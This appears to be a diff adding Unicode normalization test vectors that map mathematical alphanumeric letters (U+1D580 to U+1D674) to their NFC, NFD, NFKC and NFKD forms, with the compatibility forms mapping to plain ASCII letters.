+{ source: [0x1D580], NFC: [0x1D580], NFD: [0x1D580], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D581], NFC: [0x1D581], NFD: [0x1D581], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D582], NFC: [0x1D582], NFD: [0x1D582], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D583], NFC: [0x1D583], NFD: [0x1D583], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D584], NFC: [0x1D584], NFD: [0x1D584], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D585], NFC: [0x1D585], NFD: [0x1D585], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D586], NFC: [0x1D586], NFD: [0x1D586], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D587], NFC: [0x1D587], NFD: [0x1D587], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D588], NFC: [0x1D588], NFD: [0x1D588], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D589], NFC: [0x1D589], NFD: [0x1D589], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D58A], NFC: [0x1D58A], NFD: [0x1D58A], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D58B], NFC: [0x1D58B], NFD: [0x1D58B], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D58C], NFC: [0x1D58C], NFD: [0x1D58C], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D58D], NFC: [0x1D58D], NFD: [0x1D58D], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D58E], NFC: [0x1D58E], NFD: [0x1D58E], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D58F], NFC: [0x1D58F], NFD: [0x1D58F], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D590], NFC: [0x1D590], NFD: [0x1D590], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D591], NFC: [0x1D591], NFD: [0x1D591], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D592], NFC: [0x1D592], NFD: [0x1D592], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D593], NFC: [0x1D593], NFD: [0x1D593], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D594], NFC: [0x1D594], NFD: [0x1D594], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D595], NFC: [0x1D595], NFD: [0x1D595], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D596], NFC: [0x1D596], NFD: [0x1D596], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D597], NFC: [0x1D597], NFD: [0x1D597], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D598], NFC: [0x1D598], NFD: [0x1D598], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D599], NFC: [0x1D599], NFD: [0x1D599], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D59A], NFC: [0x1D59A], NFD: [0x1D59A], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D59B], NFC: [0x1D59B], NFD: [0x1D59B], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D59C], NFC: [0x1D59C], NFD: [0x1D59C], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D59D], NFC: [0x1D59D], NFD: [0x1D59D], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D59E], NFC: [0x1D59E], NFD: [0x1D59E], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D59F], NFC: [0x1D59F], NFD: [0x1D59F], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D5A0], NFC: [0x1D5A0], NFD: [0x1D5A0], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D5A1], NFC: [0x1D5A1], NFD: [0x1D5A1], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D5A2], NFC: [0x1D5A2], NFD: [0x1D5A2], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D5A3], NFC: [0x1D5A3], NFD: [0x1D5A3], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D5A4], NFC: [0x1D5A4], NFD: [0x1D5A4], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D5A5], NFC: [0x1D5A5], NFD: [0x1D5A5], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D5A6], NFC: [0x1D5A6], NFD: [0x1D5A6], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D5A7], NFC: [0x1D5A7], NFD: [0x1D5A7], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D5A8], NFC: [0x1D5A8], NFD: [0x1D5A8], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D5A9], NFC: [0x1D5A9], NFD: [0x1D5A9], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D5AA], NFC: [0x1D5AA], NFD: [0x1D5AA], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D5AB], NFC: [0x1D5AB], NFD: [0x1D5AB], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D5AC], NFC: [0x1D5AC], NFD: [0x1D5AC], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D5AD], NFC: [0x1D5AD], NFD: [0x1D5AD], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D5AE], NFC: [0x1D5AE], NFD: [0x1D5AE], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D5AF], NFC: [0x1D5AF], NFD: [0x1D5AF], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D5B0], NFC: [0x1D5B0], NFD: [0x1D5B0], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D5B1], NFC: [0x1D5B1], NFD: [0x1D5B1], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D5B2], NFC: [0x1D5B2], NFD: [0x1D5B2], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D5B3], NFC: [0x1D5B3], NFD: [0x1D5B3], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D5B4], NFC: [0x1D5B4], NFD: [0x1D5B4], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D5B5], NFC: [0x1D5B5], NFD: [0x1D5B5], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D5B6], NFC: [0x1D5B6], NFD: [0x1D5B6], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D5B7], NFC: [0x1D5B7], NFD: [0x1D5B7], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D5B8], NFC: [0x1D5B8], NFD: [0x1D5B8], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D5B9], NFC: [0x1D5B9], NFD: [0x1D5B9], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D5BA], NFC: [0x1D5BA], NFD: [0x1D5BA], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D5BB], NFC: [0x1D5BB], NFD: [0x1D5BB], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D5BC], NFC: [0x1D5BC], NFD: [0x1D5BC], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D5BD], NFC: [0x1D5BD], NFD: [0x1D5BD], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D5BE], NFC: [0x1D5BE], NFD: [0x1D5BE], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D5BF], NFC: [0x1D5BF], NFD: [0x1D5BF], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D5C0], NFC: [0x1D5C0], NFD: [0x1D5C0], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D5C1], NFC: [0x1D5C1], NFD: [0x1D5C1], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D5C2], NFC: [0x1D5C2], NFD: [0x1D5C2], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D5C3], NFC: [0x1D5C3], NFD: [0x1D5C3], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D5C4], NFC: [0x1D5C4], NFD: [0x1D5C4], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D5C5], NFC: [0x1D5C5], NFD: [0x1D5C5], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D5C6], NFC: [0x1D5C6], NFD: [0x1D5C6], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D5C7], NFC: [0x1D5C7], NFD: [0x1D5C7], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D5C8], NFC: [0x1D5C8], NFD: [0x1D5C8], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D5C9], NFC: [0x1D5C9], NFD: [0x1D5C9], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D5CA], NFC: [0x1D5CA], NFD: [0x1D5CA], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D5CB], NFC: [0x1D5CB], NFD: [0x1D5CB], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D5CC], NFC: [0x1D5CC], NFD: [0x1D5CC], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D5CD], NFC: [0x1D5CD], NFD: [0x1D5CD], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D5CE], NFC: [0x1D5CE], NFD: [0x1D5CE], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D5CF], NFC: [0x1D5CF], NFD: [0x1D5CF], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D5D0], NFC: [0x1D5D0], NFD: [0x1D5D0], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D5D1], NFC: [0x1D5D1], NFD: [0x1D5D1], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D5D2], NFC: [0x1D5D2], NFD: [0x1D5D2], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D5D3], NFC: [0x1D5D3], NFD: [0x1D5D3], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D5D4], NFC: [0x1D5D4], NFD: [0x1D5D4], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D5D5], NFC: [0x1D5D5], NFD: [0x1D5D5], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D5D6], NFC: [0x1D5D6], NFD: [0x1D5D6], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D5D7], NFC: [0x1D5D7], NFD: [0x1D5D7], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D5D8], NFC: [0x1D5D8], NFD: [0x1D5D8], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D5D9], NFC: [0x1D5D9], NFD: [0x1D5D9], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D5DA], NFC: [0x1D5DA], NFD: [0x1D5DA], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D5DB], NFC: [0x1D5DB], NFD: [0x1D5DB], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D5DC], NFC: [0x1D5DC], NFD: [0x1D5DC], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D5DD], NFC: [0x1D5DD], NFD: [0x1D5DD], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D5DE], NFC: [0x1D5DE], NFD: [0x1D5DE], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D5DF], NFC: [0x1D5DF], NFD: [0x1D5DF], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D5E0], NFC: [0x1D5E0], NFD: [0x1D5E0], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D5E1], NFC: [0x1D5E1], NFD: [0x1D5E1], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D5E2], NFC: [0x1D5E2], NFD: [0x1D5E2], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D5E3], NFC: [0x1D5E3], NFD: [0x1D5E3], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D5E4], NFC: [0x1D5E4], NFD: [0x1D5E4], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D5E5], NFC: [0x1D5E5], NFD: [0x1D5E5], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D5E6], NFC: [0x1D5E6], NFD: [0x1D5E6], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D5E7], NFC: [0x1D5E7], NFD: [0x1D5E7], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D5E8], NFC: [0x1D5E8], NFD: [0x1D5E8], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D5E9], NFC: [0x1D5E9], NFD: [0x1D5E9], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D5EA], NFC: [0x1D5EA], NFD: [0x1D5EA], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D5EB], NFC: [0x1D5EB], NFD: [0x1D5EB], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D5EC], NFC: [0x1D5EC], NFD: [0x1D5EC], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D5ED], NFC: [0x1D5ED], NFD: [0x1D5ED], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D5EE], NFC: [0x1D5EE], NFD: [0x1D5EE], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D5EF], NFC: [0x1D5EF], NFD: [0x1D5EF], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D5F0], NFC: [0x1D5F0], NFD: [0x1D5F0], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D5F1], NFC: [0x1D5F1], NFD: [0x1D5F1], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D5F2], NFC: [0x1D5F2], NFD: [0x1D5F2], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D5F3], NFC: [0x1D5F3], NFD: [0x1D5F3], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D5F4], NFC: [0x1D5F4], NFD: [0x1D5F4], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D5F5], NFC: [0x1D5F5], NFD: [0x1D5F5], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D5F6], NFC: [0x1D5F6], NFD: [0x1D5F6], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D5F7], NFC: [0x1D5F7], NFD: [0x1D5F7], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D5F8], NFC: [0x1D5F8], NFD: [0x1D5F8], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D5F9], NFC: [0x1D5F9], NFD: [0x1D5F9], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D5FA], NFC: [0x1D5FA], NFD: [0x1D5FA], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D5FB], NFC: [0x1D5FB], NFD: [0x1D5FB], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D5FC], NFC: [0x1D5FC], NFD: [0x1D5FC], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D5FD], NFC: [0x1D5FD], NFD: [0x1D5FD], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D5FE], NFC: [0x1D5FE], NFD: [0x1D5FE], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D5FF], NFC: [0x1D5FF], NFD: [0x1D5FF], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D600], NFC: [0x1D600], NFD: [0x1D600], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D601], NFC: [0x1D601], NFD: [0x1D601], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D602], NFC: [0x1D602], NFD: [0x1D602], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D603], NFC: [0x1D603], NFD: [0x1D603], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D604], NFC: [0x1D604], NFD: [0x1D604], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D605], NFC: [0x1D605], NFD: [0x1D605], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D606], NFC: [0x1D606], NFD: [0x1D606], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D607], NFC: [0x1D607], NFD: [0x1D607], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D608], NFC: [0x1D608], NFD: [0x1D608], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D609], NFC: [0x1D609], NFD: [0x1D609], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D60A], NFC: [0x1D60A], NFD: [0x1D60A], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D60B], NFC: [0x1D60B], NFD: [0x1D60B], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D60C], NFC: [0x1D60C], NFD: [0x1D60C], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D60D], NFC: [0x1D60D], NFD: [0x1D60D], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D60E], NFC: [0x1D60E], NFD: [0x1D60E], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D60F], NFC: [0x1D60F], NFD: [0x1D60F], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D610], NFC: [0x1D610], NFD: [0x1D610], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D611], NFC: [0x1D611], NFD: [0x1D611], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D612], NFC: [0x1D612], NFD: [0x1D612], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D613], NFC: [0x1D613], NFD: [0x1D613], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D614], NFC: [0x1D614], NFD: [0x1D614], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D615], NFC: [0x1D615], NFD: [0x1D615], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D616], NFC: [0x1D616], NFD: [0x1D616], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D617], NFC: [0x1D617], NFD: [0x1D617], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D618], NFC: [0x1D618], NFD: [0x1D618], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D619], NFC: [0x1D619], NFD: [0x1D619], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D61A], NFC: [0x1D61A], NFD: [0x1D61A], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D61B], NFC: [0x1D61B], NFD: [0x1D61B], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D61C], NFC: [0x1D61C], NFD: [0x1D61C], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D61D], NFC: [0x1D61D], NFD: [0x1D61D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D61E], NFC: [0x1D61E], NFD: [0x1D61E], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D61F], NFC: [0x1D61F], NFD: [0x1D61F], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D620], NFC: [0x1D620], NFD: [0x1D620], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D621], NFC: [0x1D621], NFD: [0x1D621], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D622], NFC: [0x1D622], NFD: [0x1D622], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D623], NFC: [0x1D623], NFD: [0x1D623], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D624], NFC: [0x1D624], NFD: [0x1D624], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D625], NFC: [0x1D625], NFD: [0x1D625], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D626], NFC: [0x1D626], NFD: [0x1D626], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D627], NFC: [0x1D627], NFD: [0x1D627], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D628], NFC: [0x1D628], NFD: [0x1D628], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D629], NFC: [0x1D629], NFD: [0x1D629], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D62A], NFC: [0x1D62A], NFD: [0x1D62A], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D62B], NFC: [0x1D62B], NFD: [0x1D62B], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D62C], NFC: [0x1D62C], NFD: [0x1D62C], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D62D], NFC: [0x1D62D], NFD: [0x1D62D], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D62E], NFC: [0x1D62E], NFD: [0x1D62E], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D62F], NFC: [0x1D62F], NFD: [0x1D62F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D630], NFC: [0x1D630], NFD: [0x1D630], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D631], NFC: [0x1D631], NFD: [0x1D631], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D632], NFC: [0x1D632], NFD: [0x1D632], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D633], NFC: [0x1D633], NFD: [0x1D633], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D634], NFC: [0x1D634], NFD: [0x1D634], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D635], NFC: [0x1D635], NFD: [0x1D635], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D636], NFC: [0x1D636], NFD: [0x1D636], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D637], NFC: [0x1D637], NFD: [0x1D637], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D638], NFC: [0x1D638], NFD: [0x1D638], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D639], NFC: [0x1D639], NFD: [0x1D639], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D63A], NFC: [0x1D63A], NFD: [0x1D63A], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D63B], NFC: [0x1D63B], NFD: [0x1D63B], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D63C], NFC: [0x1D63C], NFD: [0x1D63C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D63D], NFC: [0x1D63D], NFD: [0x1D63D], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D63E], NFC: [0x1D63E], NFD: [0x1D63E], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D63F], NFC: [0x1D63F], NFD: [0x1D63F], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D640], NFC: [0x1D640], NFD: [0x1D640], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D641], NFC: [0x1D641], NFD: [0x1D641], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D642], NFC: [0x1D642], NFD: [0x1D642], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D643], NFC: [0x1D643], NFD: [0x1D643], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D644], NFC: [0x1D644], NFD: [0x1D644], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D645], NFC: [0x1D645], NFD: [0x1D645], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D646], NFC: [0x1D646], NFD: [0x1D646], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D647], NFC: [0x1D647], NFD: [0x1D647], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D648], NFC: [0x1D648], NFD: [0x1D648], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D649], NFC: [0x1D649], NFD: [0x1D649], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D64A], NFC: [0x1D64A], NFD: [0x1D64A], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D64B], NFC: [0x1D64B], NFD: [0x1D64B], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D64C], NFC: [0x1D64C], NFD: [0x1D64C], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D64D], NFC: [0x1D64D], NFD: [0x1D64D], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D64E], NFC: [0x1D64E], NFD: [0x1D64E], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D64F], NFC: [0x1D64F], NFD: [0x1D64F], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D650], NFC: [0x1D650], NFD: [0x1D650], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D651], NFC: [0x1D651], NFD: [0x1D651], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D652], NFC: [0x1D652], NFD: [0x1D652], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D653], NFC: [0x1D653], NFD: [0x1D653], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D654], NFC: [0x1D654], NFD: [0x1D654], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D655], NFC: [0x1D655], NFD: [0x1D655], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D656], NFC: [0x1D656], NFD: [0x1D656], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D657], NFC: [0x1D657], NFD: [0x1D657], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D658], NFC: [0x1D658], NFD: [0x1D658], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D659], NFC: [0x1D659], NFD: [0x1D659], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D65A], NFC: [0x1D65A], NFD: [0x1D65A], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D65B], NFC: [0x1D65B], NFD: [0x1D65B], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D65C], NFC: [0x1D65C], NFD: [0x1D65C], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D65D], NFC: [0x1D65D], NFD: [0x1D65D], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D65E], NFC: [0x1D65E], NFD: [0x1D65E], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D65F], NFC: [0x1D65F], NFD: [0x1D65F], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D660], NFC: [0x1D660], NFD: [0x1D660], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D661], NFC: [0x1D661], NFD: [0x1D661], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D662], NFC: [0x1D662], NFD: [0x1D662], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D663], NFC: [0x1D663], NFD: [0x1D663], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D664], NFC: [0x1D664], NFD: [0x1D664], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D665], NFC: [0x1D665], NFD: [0x1D665], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D666], NFC: [0x1D666], NFD: [0x1D666], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D667], NFC: [0x1D667], NFD: [0x1D667], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D668], NFC: [0x1D668], NFD: [0x1D668], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D669], NFC: [0x1D669], NFD: [0x1D669], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D66A], NFC: [0x1D66A], NFD: [0x1D66A], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D66B], NFC: [0x1D66B], NFD: [0x1D66B], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D66C], NFC: [0x1D66C], NFD: [0x1D66C], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D66D], NFC: [0x1D66D], NFD: [0x1D66D], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D66E], NFC: [0x1D66E], NFD: [0x1D66E], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D66F], NFC: [0x1D66F], NFD: [0x1D66F], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D670], NFC: [0x1D670], NFD: [0x1D670], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D671], NFC: [0x1D671], NFD: [0x1D671], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D672], NFC: [0x1D672], NFD: [0x1D672], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D673], NFC: [0x1D673], NFD: [0x1D673], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D674], NFC: [0x1D674], NFD: [0x1D674], NFKC: [0x0045], NFKD: [0x0045] },
